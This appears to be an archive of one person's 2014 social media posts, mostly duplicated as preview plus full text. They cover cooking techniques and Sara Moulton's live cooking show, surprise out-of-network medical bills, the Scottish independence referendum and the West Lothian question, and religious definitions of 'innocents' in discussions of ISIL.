In a comment to my post yesterday (http://goo.gl/AEhNyr) about the great new videos on essential cooking techniques from The New York Times, +Christina Talbott-Clark mentioned a YouTube video where someone is flummoxed by instructions to "cream" butter and sugar¹.

"Creaming" is an interesting example of the sort of basic technique I was talking about yesterday; checking, I see that there aren't any Times videos on creaming—but not any other pastry or baking techniques either, except for pie crust basics, so maybe baking essentials will follow in later videos. (Though I do see there is a mango video, so I didn't need to explain that technique in my post. Oh well.)

I'm looking at my cookbook-shelf (cook-bookshelf? cookbookshelf?) right now, and at a glance I see several books that explain "creaming": Mark Bittman's How to Cook Everything, Julia Child's The Way to Cook, Nick Malgieri's How to Bake, Shirley O. Corriher's CookWise, Harold McGee's On Food and Cooking, The America's Test Kitchen Family Cookbook, and probably others. But all of them explain it in the front matter or in a chapter introduction. If you just read a recipe, even from one of these books, when it said "cream the butter with one cup of the sugar", you'd still have no idea.

So I wonder if the problem is no one buys basic cookbooks anymore, they just go to the Internet for individual recipes?

I know my cooking education came almost entirely from two sources: the first, actually reading basics cookbooks (and later, food-science books like Corriher's and McGee's)—not just using them as recipe databases.

The second was watching Sara Moulton's great 1997–2002 Food Network show Cooking Live². Cooking Live was just fantastic for really learning how to really cook, unlike almost every other cooking show on even then³, to say nothing of pretty much all the "cooking" shows on today.

The two reasons most "real" cooking shows (by which I mean shows that are primarily about the process of cooking, rather than being reality or celebrity-vehicle shows with a food hook) fail at imparting basic techniques are editing and preparation: watching someone chop vegetables is boring, so the television chef typically "cooks" from bowls of ingredients already fully prepared. Then, even when the chef does some actual cooking on camera, editing makes it impossible to see how long it takes for the pan to heat up or how long you have to cook one ingredient before adding the next, and it definitely hides any mistakes.

Contrast Cooking Live, which, true to its name, was broadcast live and unedited. Moulton prepared entire meals, usually starting "from scratch" with unprepared ingredients as you'd get them from the market. And she did it on new one-hour episodes each weeknight.

(And, for a year or so, twice a night, as she did a second prime-time episode for the Pacific time zone. I met Sara Moulton a couple years ago at a cooking demonstration at Google's New York office, and we chatted while I cooked a crepe. I asked her about those days, and she told me that she would do the first live show at the Food Network studios in Chelsea Market, rush home a few blocks away to cook and have dinner with her family, and then rush back to the studio for the second live episode. I can't even imagine how she kept that up, night after night.)

Those times when she did have some ingredients already prepared—like when a recipe called for several chopped onions, or when a dish simply couldn't be made in under an hour—there was always an unprepared onion or whatever on the side too. Moulton would go through the process of dicing one to demonstrate, adding it to the pre-prepared ones.

Over the years I must have watched her chop hundreds of onions, peel and mince dozens of heads of garlic, and break down several whole chickens. (The potential boredom was allayed by her taking calls from viewers while she did this sort of grunt-work.) She worked in real time—only unattended steps were "cheated" by, for example, her putting a pan in the oven, then shifting her attention to a previously-cooked one.

I learned so much from watching Sara Moulton really cook from scratch. Not just basic techniques, but tricks like using a bench scraper to transport food from the cutting board, or using flour to clean your hands when they got sticky from handling wet batters or breading. And maybe most importantly, improvisation and recovering from mistakes.

When she made mistakes, she dealt with them—I never saw her do "television magic" by switching to another precooked pan or starting over again with fresh ingredients. Instead, she showed how to work around accidents or surprises. She might mention that something was taking longer than expected, and she'd alter her recipe plan on the fly to accommodate—a potato gratin turned into cheesy mashed potatoes, a fancy fruit dessert became a quick fruit crumble.

I remember once a hollandaise she'd made broke (separated). She took the chance to demonstrate how to rescue broken hollandaise. (Moulton got her start in television working for Julia Child, whose earliest PBS shows were shot live, and Julia Child was famous for her reactions to on-camera flubs.)

On-air, she'd consult with her producers and kitchen assistent, asking if something was available in the off-screen prep kitchen. Sometimes if things were going really quickly, she'd add another side dish to the menu or show a recipe variation. Or if an early recipe step left behind useful stuff, she'd show how to avoid waste—I remember her looking at a bowl of shells left behind from a shrimp recipe and deciding to show how to use them to make a shrimp bisque.

(When I met her, I asked if these "improvisations" were pre-planned. She said no, they really were decisions made on the fly—which was why she had to ask if ingredients and equipment were available.)

I think a show like this couldn't be produced now—certainly not on today's reality-show-obsessed basic cable. It's really a pity; I learned so much about the reality of cooking from Sara Moulton and Cooking Live that no "reality" cooking show today would even try to teach.


¹ For the uninitiated: "creaming" is one of the ways, along with yeast or chemical leavening, foaming (what we do with meringues, whipped cream, or mousse), and steam leavening (as in popovers or choux pastries), whereby the ingredients in baked goods trap air bubbles to make the final product light and airy. Creaming is usually used in denser, batter-like products like cookies, cakes and muffins. To cream, you vigorously beat granulated sugar with soft (not cold and not melted) butter to incorporate air before adding it to the other wet ingredients. It can be done with a stand mixer or manually with a whisk; hand mixers, blenders and food processors usually can't cream unless they have specialized attachments.

² Which, alas, does not appear to be available today for streaming or download in any form.

³ Alton Brown's Good Eats was another one, and probably the better show as television, but it was usually much more tightly focused on the specialized techniques for each episode's subject ingredient. If you watched enough episodes you'd get basic techniques here and there, but most episodes devoted 75% of the airtime to discussion and background, so the actual cooking was too hurried to learn many techniques.___

2014-09-26 16:50:38 (5 comments, 0 reshares, 4 +1s)Open 

Had Andrea Mitchell on in the background, and heard her swap the words "chemical" and "congressional" in a sentence about Obama wanting "a chemical response"  to "congressional attacks" last year in Syria. She caught herself, but turned red, which I understand is a bit of a feat with HD makeup. Oops.

I can see it now: "Newsmax BREAKING: MSNBC admits Obama wanted chemical attacks in Syria"....

Had Andrea Mitchell on in the background, and heard her swap the words "chemical" and "congressional" in a sentence about Obama wanting "a chemical response"  to "congressional attacks" last year in Syria. She caught herself, but turned red, which I understand is a bit of a feat with HD makeup. Oops.

I can see it now: "Newsmax BREAKING: MSNBC admits Obama wanted chemical attacks in Syria"....___

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2014-09-25 19:27:33 (3 comments, 1 reshares, 9 +1s)Open 

Times Cooking Techniques videos: simple, unfussy help for the fledgling cook

The New York Times has just released a new Cooking app¹ and, in conjunction, have posted this great set of a few dozen very short (one-minute or less) videos on basic cooking techniques.

These are the sorts of things that I think of as being "obvious". But I've noticed, when I'm around someone who's an unpracticed or shaky cook, that these basics aren't nearly as obvious as they seem, and they make new cooks nervous.

When I entertain, I often socialize in the kitchen while preparing the food, and when I get an offer to help, I'm often surprised by their not knowing some technique that I had forgotten was something you must learn. (I was utterly astonished when an acquaintance whose home I was visiting a few months back asked me for help, saying she'd... more »

Times Cooking Techniques videos: simple, unfussy help for the fledgling cook

The New York Times has just released a new Cooking app¹ and, in conjunction, have posted this great set of a few dozen very short (one-minute or less) videos on basic cooking techniques.

These are the sorts of things that I think of as being "obvious". But I've noticed, when I'm around someone who's an unpracticed or shaky cook, that these basics aren't nearly as obvious as they seem, and they make new cooks nervous.

When I entertain, I often socialize in the kitchen while preparing the food, and when I get an offer to help, I'm often surprised by their not knowing some technique that I had forgotten was something you must learn. (I was utterly astonished when an acquaintance whose home I was visiting a few months back asked me for help, saying she'd received several mangos as a gift and didn't know what to do with them after her attempt to use a vegetable peeler was fruitless. I'm not sure why I was so surprised; mangos are a one-off in technique² and unless you've dealt with them before, how would you know? But it seems cooking techniques may be one of those things, like swimming or driving, that people who know how can forget that there are people who don't know how.)

One of the big barriers to entry for the new cook is that while new cooks generally rely on recipes, lots of techniques are taken for granted by recipe-writers. I suppose they assume people learn these things as a kid helping their parents cook, but for those who didn't have home training as a kid—which seems to be more and more of us these days—these assumptions can make for frustration in the kitchen.

For instance: the instructions might say, "sauté until softened". But they don't explain in enough detail what, exactly, that means —unless you already know. How do you "sauté", exactly? (You quickly and constantly move uncrowded, generally small things, like vegetable dice, around a skillet in some fat while they cook, either by pushing them around with a wooden spatula or spoon or, if you're fancy, by doing that wrist motion you always see chefs on TV using on the skillet handle.) What stove setting do you sauté at? (It depends on the quantity of food, and you may have to adjust as you go along, but to start, put the cold pan on a medium-high burner and add some fat. Then you wait a bit until the pan is hot enough so that, if you wet your fingers and flick them over the oiled pan, the droplets immediately vaporize; but not so hot that the oil is smoking.) When is the food "softened"? (This doesn't mean mushy, especially if it's an early step in the recipe; rather, it means the point at which the cell walls have begun to break down so that celery, for instance, is no longer rigid and crisp. It's a minute or two after the vegetables become "translucent", another term often used in a sauté recipe instruction.)

And before you even get to the instructions, just the ingredients list can make assumptions that don't apply to the neophyte. "Diced onions, carrots and celery" are a staple of French cooking (called the mirepoix; the Creole equivalent, substituting bell peppers for the carrot, is "the Trinity"), but those three vegetables aren't even slightly shaped alike, and can't be diced in the same way.

This video series is great for presenting these basic techniques that, as a budding home cook, you really must internalize if you ever want to be able to cook efficiently.

I've been cooking for twenty years now, and these techniques were all old hat to me—though I did learn that the way I dice a whole pineapple isn't as efficient as the one demonstrated in the video. (I also learned why my oyster-shucking technique sometimes left bits of shell behind on the oyster; I wasn't using the correct motion with the knife on the hinge.)

I did have one, small, quibble—the video on dicing an onion (make cuts lengthwise, then crosswise) will work fine for small onions, but for larger ones you need to first make one or two slices parallel to the cutting board³. But that's a small beef; overall, it was a perfect quick rundown of the technique for someone who hasn't internalized it.

(Okay, two small quibbles: the video on how to slice a whole avocado was good, but it neglected the bit that's arguably the most important for new cooks: once you've got the pit removed and stuck to your knife, how do you get the pit off without cutting yourself? Grabbing the pit is guaranteed to result in a nasty cut; that thing's slippery and stuck to the knife way tighter than you'd think! The answer is to turn the knife edge away from you, towards the board, and, reaching with your thumb and forefinger around the dull side of the knife, just pinch the edge of the pit so it pops off the blade.)

In the past, for the same purpose as these videos, I've recommended Jacques Pépin's La Technique and La Méthode, translated to English in a single volume, Complete Techniques. This book has a complete breakdown on each basic technique, using photos of Pépin's hands (shot from the cook's perspective, just like the videos). It's still a great book[4] and a welcome addition to any intermediate home cook's bookshelf, but it covers the full array of standard methods in the French culinary tradition, including techniques like larding that are unlikely to be part of the average home cook's repertoire. These new Times videos are much more focused on the really essential basics.

I'd very highly recommend these videos to any less-than-confident cook. And if you're the cook in your family, send the link to your "sous chef" significant other or teenager; they'll be much more effective helpers in the kitchen with these basic techniques under their belt.


¹ iPad only so far, but the website at http://cooking.nytimes.com/ has all the same features on mobile and scales well on tablets. The linked videos are through the regular Times Video site, so you should be able to get to them regardless.

² The technique, in case you don't know it: a mango's cross-section is roughly elliptical. Find the major (longer) axis; this is where the huge flat seed is. Holding the mango up on one pole, cut down with a chef's knife along the seed on both sides to remove the two "cheeks". Taking one, cut a crosshatch grid into the flesh the size of your desired dice, taking care not to cut through the skin. Now turn the cheek inside-out; the grid will pop out and you can easily cut the dice away from the skin. Repeat with the other "cheek". (Sometimes you can cut along the other two sides of the seed to get a little more flesh, sometimes not. If so, just cut the strip of flesh away from the skin and dice it like any vegetable.) If cutting a lot of mangos, wear gloves; the juice is slightly caustic.

³ Or, easier yet if the dice are going into something where visual uniformity isn't important: instead of making the first cuts perpendicular to the cutting board, instead cut radially towards the center, like pie wedges, without quite cutting all the way to the board so the onion stays together. Then cut crosswise as before. This is faster and it doesn't need any horizontal cuts even if the onion is quite large. The dice made with this technique come out roughly the same volume, so they cook fine, but the dice have lots of different shapes, so aren't as visually appealing in recipes where that matters.

[4] I see that Pépin published an update in 2012, Jacques Pépin's New Complete Techniques, but I haven't had a chance to read it.___

2014-09-25 17:22:49 (0 comments, 0 reshares, 3 +1s)Open 

Seen on the wire earlier: "ALERT HOLDER TO STEP DOWN: SOURCES"
I parsed it about six wrong ways before I finally got it. What's an alert holder? And if you need an alert holder, why get a step-down alert holder rather than a graduated one? And exactly how many sources can be held at capacity by a single alert holder, anyway?

Seen on the wire earlier: "ALERT HOLDER TO STEP DOWN: SOURCES"
I parsed it about six wrong ways before I finally got it. What's an alert holder? And if you need an alert holder, why get a step-down alert holder rather than a graduated one? And exactly how many sources can be held at capacity by a single alert holder, anyway?___

2014-09-24 17:04:42 (9 comments, 0 reshares, 21 +1s)Open 

Just so we're clear: when generals make a recommendation which the president rejects, that isn't called a "scandal". That's called "democracy".

Just so we're clear: when generals make a recommendation which the president rejects, that isn't called a "scandal". That's called "democracy".___

2014-09-24 16:41:49 (1 comments, 0 reshares, 1 +1s)Open 

When you use +TripCase for your own trip, it uses your phone to figure out what time it is (which works fine, provided you're already in the time zone your departure or arrival times are given in, which is generally—though not always—the case).

But when you're following someone else's trip, TripCase has no idea what time it is. Well, it does—it gives time zone data in trip information—but it has no idea what the time there is compared to time here. You can figure out it isn't yet time for a flight you know is soon because it doesn't have real-time status info for it until it's in flight, and you can know the flight's over because it has arrival info. But you can't look at someone else's trip and know that it's departing in X hours.

It seems like an obvious feature—though, I know from experience, it's a surprisingly difficult one toget right ... more »

When you use +TripCase for your own trip, it uses your phone to figure out what time it is (which works fine, provided you're already in the time zone your departure or arrival times are given in, which is generally—though not always—the case).

But when you're following someone else's trip, TripCase has no idea what time it is. Well, it does—it gives time zone data in trip information—but it has no idea what the time there is compared to time here. You can figure out it isn't yet time for a flight you know is soon because it doesn't have real-time status info for it until it's in flight, and you can know the flight's over because it has arrival info. But you can't look at someone else's trip and know that it's departing in X hours.

It seems like an obvious feature—though, I know from experience, it's a surprisingly difficult one to get right and it's one that users could be very upset if it got wrong. So I understand why they wouldn't provide a countdown to an event in another time zone when it can't be completely certain what time it is there. Still, it would be nice.___

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2014-09-21 15:36:20 (13 comments, 27 reshares, 38 +1s)Open 

The insanity of surprise out-of-network providers

If you haven't dealt with this it seems fantastical, like The New York Times engaging in tabloid fodder. But this is a real issue I've spent literally hundreds of hours dealing with over the past ten years since my diagnosis. Every single time I've gone in for a procedure, I've gotten at least one unexpected out-of-network bill. Even though I know I must irritate the staff now by refusing to even answer a "Hello" from anyone in a hospital or doctor's office until they tell me if they're in-network or not. And even that doesn't matter; once an anesthesiologist responded that he didn't know if he was in network or not but said my procedure couldn't continue if he didn't install an IV; I got a $13,000 bill from him.

I'm not sure I've ever actually avoided a bill by demanding... more »

The insanity of surprise out-of-network providers

If you haven't dealt with this it seems fantastical, like The New York Times engaging in tabloid fodder. But this is a real issue I've spent literally hundreds of hours dealing with over the past ten years since my diagnosis. Every single time I've gone in for a procedure, I've gotten at least one unexpected out-of-network bill. Even though I know I must irritate the staff now by refusing to even answer a "Hello" from anyone in a hospital or doctor's office until they tell me if they're in-network or not. And even that doesn't matter; once an anesthesiologist responded that he didn't know if he was in network or not but said my procedure couldn't continue if he didn't install an IV; I got a $13,000 bill from him.

I'm not sure I've ever actually avoided a bill by demanding that everyone be in-network, but what else can I do? I give them hell after the fact, and show emails demonstrating I requested in-network services only before the fact (the best documentation I've been able to come up with, since you can't very well get doctors to sign payment waivers for you, even though they expect you to do it for them without question), but it always goes to collections before anyone is willing to actually negotiate.  (Once, I'm told, it got as far as a bench warrant being issued. That was because they never personally served me court papers—they dropped them on my building's front desk, which is apparently sufficient "service" in New York—and I missed a court date I didn't know about.)

At any given time in the past ten years, I've had two or three unpaid medical bills sitting on my credit report. They get removed once I finally settle (usually for ten or twenty cents on the dollar—my rule is that I hold out for paying only what my insurer would have paid them in-network, which I think is quite generous for a service I specifically asked not to receive), but they're a permanent drag on my credit.

I'm frightened to think what might happen if I'm not conscious to insist on in-network services only. (Brought in to hospital unconscious, I mean; I already have dealt with big bills from doctors I never met because they arrived, and left, all while I was anesthetized.)

I was in the emergency room a few days ago and I did my "are you in-network" routine to anyone who spoke to me, despite the fact that I was there for trouble breathing and it was difficult to explain what I wanted. I know I annoyed people and as a result probably received less attentive care. I've just been burned too many times by this, and I'm responding the only way I know how. But I think I may have actually avoided a bill this time; someone came to wheel me to X-ray, I stopped her before she could release the gurney's brake and asked if she was in-network. She went away, and someone I'd already been helped by came and wheeled me to X-ray instead. I wonder how much that hundred-foot trip would have cost me. I'm betting it would have been thousands, not hundreds.

Listen, I'm not a deadbeat; I realized with shock the other day I was a few days late on the Amex bill; it had come due when I was at the hospital and I'd just missed it. I called them sheepishly. They waived the fee because, they said, I hadn't ever before paid anything but in full and on time, every month, in almost twenty years. I don't have a problem paying my debts.

But I simply won't fork over tens of thousands of dollars for a charge that I wasn't notified about ahead of time, for a service I specifically requested I not receive, simply because I received it anyway when I wasn't looking. Imagine going to a restaurant and being charged for dishes you didn't order, but they prepared in the kitchen and brought out and you waved away? They went through the motions, so shouldn't they be paid? That's essentially what's happening here.

Well, except the restaurant somehow has the ability to teleport the food directly into your stomach. I'm not denying I receive some benefit from these services, which is why I'm willing to pay something; quite a lot, in fact, compared to what I'd be paying in-network. If I received a truly monstrous surprise out-of-network bill, though—say over $100K—I'm not sure I'd even be willing to try to negotiate a percentage, since if it were in-network I'd have hit my out-of-pocket maximum. Thank heavens that hasn't happened yet. From articles like these, though, it seems like Russian roulette; as I continue to need care for a chronic condition, it just becomes a matter of time.___

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2014-09-19 19:55:44 (9 comments, 2 reshares, 15 +1s)Open 

What does the Scottish No mean? A primer for Americans

My fellow Americans: if the sum total of what you know about the Scotland independence vote yesterday is a) they voted No, and b) something something turnout high among 16-year-olds voting for the Queen saying "no thanks" carefully, then congratulations—you're doing better than most of our countrymen.

And the No result seems to mean that Americans can safely stop knowing even that much, because now it's all going back to the "normal" pre-referendum status quo, right?

Not so fast. In some ways, a Yes result would have had more clarity. It would have been easier to figure out what's next: writing a constitution, electing leaders, figuring out what to do about currency, trade, immigration, national defense, etc. Not that the answers would have been obvious. But theq... more »

What does the Scottish No mean? A primer for Americans

My fellow Americans: if the sum total of what you know about the Scotland independence vote yesterday is a) they voted No, and b) something something turnout high among 16-year-olds voting for the Queen saying "no thanks" carefully, then congratulations—you're doing better than most of our countrymen.

And the No result seems to mean that Americans can safely stop knowing even that much, because now it's all going back to the "normal" pre-referendum status quo, right?

Not so fast. In some ways, a Yes result would have had more clarity. It would have been easier to figure out what's next: writing a constitution, electing leaders, figuring out what to do about currency, trade, immigration, national defense, etc. Not that the answers would have been obvious. But the questions, at least, would be pretty clear.

With No, what comes next is far murkier. To ensure a No vote, Prime Minister David Cameron made some big promises to Scotland. Fulfilling those promises to Scotland is going to be tough enough, but because of how Mr Cameron went about making them, the fallout from those promises will be much worse.

First, a recent history lesson. From the time the referendum vote was set a year ago, the presumption among the three main UK-wide parties (the Conservatives or "Tories", the Liberal Democrats with whom the Tories are currently ruling in coalition, and, to a somewhat lesser extent, the opposition Labour) was that No would win handily. David Cameron, not just prime minister but also leader of the Tories, was so confident in the result, he went so far as preventing a third option, "No, but more local powers and authority for Scotland" from appearing on the ballot. He thought, by forcing an unequivocal "No" vote without reservations, he could shut down (what he saw as) an insurgent Scottish nationalist movement once and for all—or at least, for the remainder of his government.

But something important happened over an extraordinarily short period. On the first of September, there was shock in London when polls were released showing the Yes vote even and ascendant. Bookmakers never actually gave Yes better (or even the same) odds than No. Still, the swing in the polls was so dramatic, the wild card of an unprecedented turnout so unsettling (two-thirds of the total population of Scotland voted, including newly-enfranchised 16- and 17-year-olds—that's higher than turnout in many places with mandatory voting!), that the Cameron government panicked.

Sorry—I didn't mean "panicked", I meant, the Cameron government reiterated its long-held philosophy on devolution of local powers to Scotland, while firming up some of the concrete details. Cameron's side also started a last-minute fear campaign against Yes aimed at voters sitting on the fence.

Sorry, sorry again! A thousand apologies—I meant, the government highlighted some of the most significant difficulties a Yes vote would present, both in the immediate and longer terms, for Scotland and its people.

To be fair, the content of the fear campaign was relatively red-herring-free. In particular, the comments about the likely damage Yes could do to the Scottish internal economy with regards to banking and currency, and the uncertainty of the oil reserves Yes Scotland's economic plan rested upon, are real issues¹ that deserved, as the queen said, "careful consideration". But even if they were defensible, they were presented in a fear-mongering way.

That's all I'll say on the fear-mongering part, as what's done is done, and with a No vote, it's now moot; aside from the longevity of the North Sea oil, we may never know how correct it was.

What is going to be with us for some time is the fallout from the first part, the government panic. It was far, far too late to put the third "No, but" option back onto the ballot, so Cameron sought its political benefit in an ad-hoc manner: in a matter of days, he promised Scotland— if the vote went No—new "devolutions" of powers, including on important questions of taxation and health care.

But Cameron had a messaging problem. Despite his Scottish surname, he has no real ties there, and he is the leader of a party that has a majority in England, and—through coalition—a majority of the overall UK, but only one UK parliament seat from Scotland (compare that to 39 Labour, 11 Lib Dem, and six Scottish Nationals MP's from Scotland).

Former PM Gordon Brown, who—as both a member of Labour and Scottish by birth—it might be supposed would be better-received in Scotland than Mr Cameron, volunteered—or was recruited—to draft a rough plan for post-referendum constitutional reforms² in Scotland's favor after a No vote, and to spread the word in Scotland about these promises.

Mr Brown used a term that to British ears, I understand, is quite old-fashioned, but one that strikes a certain chord with us Americans: "home rule"³. While he did use this term to include its usage in US law (the current Scottish parliament does not have full autonomy constitutionally; theoretically, the UK parliament or even HM Government could reverse any of its actions), he also used it more expansively to mean that Scotland should rule Scotland on purely Scottish matters, and should not be subservient to Westminster in those matters.

Mr Brown extracted from the government (or was authorized to reveal, depending on how conspiracy-minded you are) a raft of reforms for the UK designed to appeal to Scotland. Some seem pretty insignificant, like giving Scotland greater power to license air rifles[4], but they included some very important matters, like:

• Crafting a formal mission statement for the UK. (Really! The idea is for the UK to have something like the US has in the Declaration of Independence—an inspirational document, without force of law, but meant to transcend law.)

• An amendment to the current devolution law (the Scotland Act 1998 that authorized Scotland's parliament in the first place) to specify that in most matters, the Scottish parliament is in fact autonomous, subject to neither oversight nor reversal by London, and cannot be dissolved or eliminated by London.

• Allowing the Scottish parliament more freedom to levy its own taxes in order to fund social welfare programs more generously than England does. (One of the primary motivations for the referendum was that most of Scotland is to the left of England—as I mentioned earlier with regards to Labour's strong majority in Scotland—and they want to expand safety-net benefit programs.)

• Letting Scotland reduce the share of taxes they pay to support the English versions of devolved programs, like English health care or English schools.

This last one is important because it introduces one of the most significant fallouts of the No vote: the resurgence of the "West Lothian question".

"The West Lothian question" sounds like a riddle in a fantasy book—and it is a kind of riddle, actually. But it's also a political issue first raised in the 1970's but, with the No vote and Mr Cameron's promises, has suddenly been raised to the fore.

In his comments this morning, Mr Cameron said that as devolution is happening for Scotland, it should happen for Wales and Northern Ireland too. No surprise there.

But he also said that the English deserve greater autonomy from the UK for local matters as well. And that's the West Lothian question.

Let me explain. Under the most recent devolution reforms that started in the mid-90's, Scotland has a Scottish parliament, Holyrood, to vote on internal Scottish matters. Wales has a National Assembly to vote on internal Welsh matters. Northern Ireland, too, has a National Assembly to vote on Northern-Ireland-internal matters.

But England has no English parliament or assembly. The UK parliament is charged not only with handling UK-wide matters, but local matters not devolved elsewhere—which includes matters local to England. So under devolution, the English MP's no longer may vote on, say, funding for a new early education program in West Lothian (a Scottish council area near Edinburgh); that would instead be handled by the Scottish parliament. But an MP from West Lothian must vote on a similar education proposal in Sussex (part of England).

Hence "the West Lothian question". There is no English parliament other than the UK parliament. So all matters that have been devolved from the UK to Scotland, Wales, and Northern Ireland are still handled by the full UK parliament, including its Scottish, Welsh, and Northern Irish MP's.

Okay, so why not just create an English parliament or assembly? Or why not just exclude the non-English MP's from English-only decisions? It turns out that the West Lothian question is a very thorny one, for a lot of reasons—which will be the topic of my next post. My next post about Scottish independence, anyway.


¹ And are the reasons I personally hoped the vote would go No—from the perspective of a liberal free-trade New Keynesian like me, Scottish independence would be disastrous macro-economically, as much as I like Yes Scotland's proposed social welfare programs. But I'm not Scottish, so I've kept my mouth shut till now.

² Let's be clear, this doesn't mean passing constitutional amendments like it might in America, because the UK doesn't have a written constitution; the "constitution of the United Kingdom" is the totality of parliamentary law and principles. "Constitutional reform" doesn't (yet) mean drafting a written UK constitution, either. (Though Scotland's being able to draft a written constitution for its newly independent country was one of the prime benefits Yes Scotland held out for a Yes vote.)

Rather, the "constitutional reforms" to which Gordon Brown refers have more to do with laws and agreements that would be passed to change the relationship between HM Government and Scotland. Thus, the word "constitutional" in Westminster parlance can be best glossed from an American standpoint as something like "structural" or "fundamental", with a whiff of "customary" and of "serious".

³ For any Brits who might be reading this for the amusement of watching a waltzing bear, "home rule" in the US is a rather specific term meaning that sub-state jurisdictions—like counties, townships, cities, towns and villages—have the right to pass laws themselves without approval or interference from the state government. It's a particularly fraught term in American history because, after our Civil War, part of Reconstruction was to strip Southern localities of home rule since it was easier for Washington to control eleven former Confederate states' legislatures than thousands of jurisdictions throughout the South.

To this day, six of the former Confederate states either still lack or have major limitations on home rule.

[4] a.k.a., BB guns.___

2014-09-19 04:15:27 (2 comments, 0 reshares, 2 +1s)Open 

And BBC's called it No. #ScotlandDecides  

And BBC's called it No. #ScotlandDecides  ___

2014-09-19 03:06:15 (3 comments, 0 reshares, 2 +1s)Open 

If Scotland does end up going No, the question of federalism becomes all the more relevant. As several prominent Scottish MP's have said this morning, why in the world are they voting on how schools and health care in England are run, when the English MP's don't get a vote in the Scottish or Welsh Parliaments? But yet, having two separate Parliaments sitting in Westminster (or even in London) just seems odd, doesn't it?

As an ad-hoc solution, one I heard that seems interesting (I need to think about it a bit): English MP's—that is, English members of the UK House of Commons—could sit in Westminster as an English Parliament for short sessions in addition to sitting in the UK Parliament. This probably isn't a long-term solution, and it has some thorniness when it comes to ministerial and Cabinet positions, but as a transitional mechanism towards devolution andfed... more »

If Scotland does end up going No, the question of federalism becomes all the more relevant. As several prominent Scottish MP's have said this morning, why in the world are they voting on how schools and health care in England are run, when the English MP's don't get a vote in the Scottish or Welsh Parliaments? But yet, having two separate Parliaments sitting in Westminster (or even in London) just seems odd, doesn't it?

As an ad-hoc solution, one I heard that seems interesting (I need to think about it a bit): English MP's—that is, English members of the UK House of Commons—could sit in Westminster as an English Parliament for short sessions in addition to sitting in the UK Parliament. This probably isn't a long-term solution, and it has some thorniness when it comes to ministerial and Cabinet positions, but as a transitional mechanism towards devolution and federalism, it seems like it could be reasonable.___

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2014-09-19 02:40:21 (17 comments, 1 reshares, 19 +1s)Open 

Wow, that's close.

Wow, that's close.___

2014-09-13 19:12:11 (1 comments, 0 reshares, 5 +1s)Open 

Finding the Chrome tab that just made that noise?

The new¹ Chrome feature to show a speaker icon in tabs currently making noise is very welcome and useful, but lately I've frequently been wanting a slightly different feature: finding what tab just made a noise, but has now stopped.

Some website I perennially have at least one tab open to (a distressingly large list of sites, as it turns out) has started to make little notification sounds I don't recognize. I reckoned I'd eventually figure it out from context—I'd hear the sound just before I'd notice some change that might cause a notification—but so far, no such luck.

Has anyone seen a tool or method (for Chrome on Mac, if it matters) for tracking down sounds after the fact? I thought about trying to figure it out with Dtrace—since Chrome uses separate Unix processes for separate tabs²,"a... more »

Finding the Chrome tab that just made that noise?

The new¹ Chrome feature to show a speaker icon in tabs currently making noise is very welcome and useful, but lately I've frequently been wanting a slightly different feature: finding what tab just made a noise, but has now stopped.

Some website I perennially have at least one tab open to (a distressingly large list of sites, as it turns out) has started to make little notification sounds I don't recognize. I reckoned I'd eventually figure it out from context—I'd hear the sound just before I'd notice some change that might cause a notification—but so far, no such luck.

Has anyone seen a tool or method (for Chrome on Mac, if it matters) for tracking down sounds after the fact? I thought about trying to figure it out with Dtrace—since Chrome uses separate Unix processes for separate tabs², "all" I'd need to do was trace all the Chrome subprocesses until I found one that was making audio calls—but that turned out to be a bit difficult for a Dtrace newbie like me.

¹ Which has actually been around for a couple years, but was enabled by default just a few months ago.

² Up to a ceiling number of processes, at which point it begins bucketing multiple tabs per process; but even when that happens, the number of tabs per process is generally small enough to make it easy to narrow it down.___

2014-09-11 16:44:54 (6 comments, 1 reshares, 9 +1s)Open 

In President Obama's speech last night, he said early on (emphasis mine): "ISIL is not Islamic. No religion condones the killing of innocents, and the vast majority of ISIL’s victims have been Muslim." The emphasized words, I think, merit careful consideration.

I have only a small quibble with that phrase taken literally; no religion condones the murder of innocents. But nearly all do condone the killing of innocents in two specific cases: in war, and by accident.

Remember, "condone" is a word specifically meaning "to permit an immoral or offensive act to go unpunished"; since we usually see it in the negative, as in "we do not condone...", the distinction between condonation and approval can be missed. With that quibble called out, I'm going to proceed from here as if the president had actually said, "no religion condones them... more »

In President Obama's speech last night, he said early on (emphasis mine): "ISIL is not Islamic. No religion condones the killing of innocents, and the vast majority of ISIL’s victims have been Muslim." The emphasized words, I think, merit careful consideration.

I have only a small quibble with that phrase taken literally; no religion condones the murder of innocents. But nearly all do condone the killing of innocents in two specific cases: in war, and by accident.

Remember, "condone" is a word specifically meaning "to permit an immoral or offensive act to go unpunished"; since we usually see it in the negative, as in "we do not condone...", the distinction between condonation and approval can be missed. With that quibble called out, I'm going to proceed from here as if the president had actually said, "no religion condones the murder of innocents", as I suspect that was closer to the meaning intended. 

I think it's pretty clear that ISIL would claim to agree that their religion does not condone the murder of "innocents". Yet the issue, here, as with so many radical or fundamentalist religions, is exactly what their definition of "innocent" is. 

Traditionally¹, Islam considered the treatment of heretics² on the basis of a division into three major categories. The first are "People of the Book" (أهل الكتاب ‎ Ahl al-Kitāb), followers of what has in the 21st century increasingly been known as the "Abrahamic religions" aside from Islam, namely Christians and Jews³. These could roughly be classed as "innocents" under Islamic law. Mainstream Islam, even under various caliphates, has never supported the killing or forced conversion of Christians or Jews merely for being Christian or Jewish.⁴

The other two groups are definitely not considered innocent. Namely, followers of any other religion not yet mentioned ("idolaters", regardless of whether their religion actually involves idolatry) and—most importantly when considering the actions of ISIL—apostates⁵.

Here we hit the crux of the matter: within ISIL's religious doctrine (nominally Sunni of an insanely radical variety), it doesn't view its killings as that of innocents. Yezidis are idolaters. Shiites— all Shiites —are apostates. Even the two American journalists ISIL beheaded were "casualties of war" by ISIL's lights—innocent, perhaps, but not "murdered" any more than someone caught in crossfire.

Why do I think this matters? Surely the vast, vast majority of religious people—even the vast majority of observant Muslims, and including most Sunnis, who comprise at least 75% of the world's Muslims—would agree that ISIL is murdering "innocents", and that their religion condones no such thing. But when we consider forming alliances with other (especially Shiite) Islamic states to fight ISIL, we must keep in mind that in the view of a not-insubstantial segment of Muslims—not just ISIL—we're picking sides in a religious question.

Most Shiite clerics and ayatollahs consider all Sunnis to be apostates in much the same way ISIL considers all Shiites to be. They don't often actually issue fatwas or call for jihad against all Sunnis—the high-profile sheikhs and ayatollahs don't, anyway. But it's somewhat like asking some Christian fundamentalists about Jews: they do generally believe that it is a religious imperative to convert all Jews to Christianity; still, the more mainstream ones don't actually take much action in that direction because they know it would be politically disastrous.

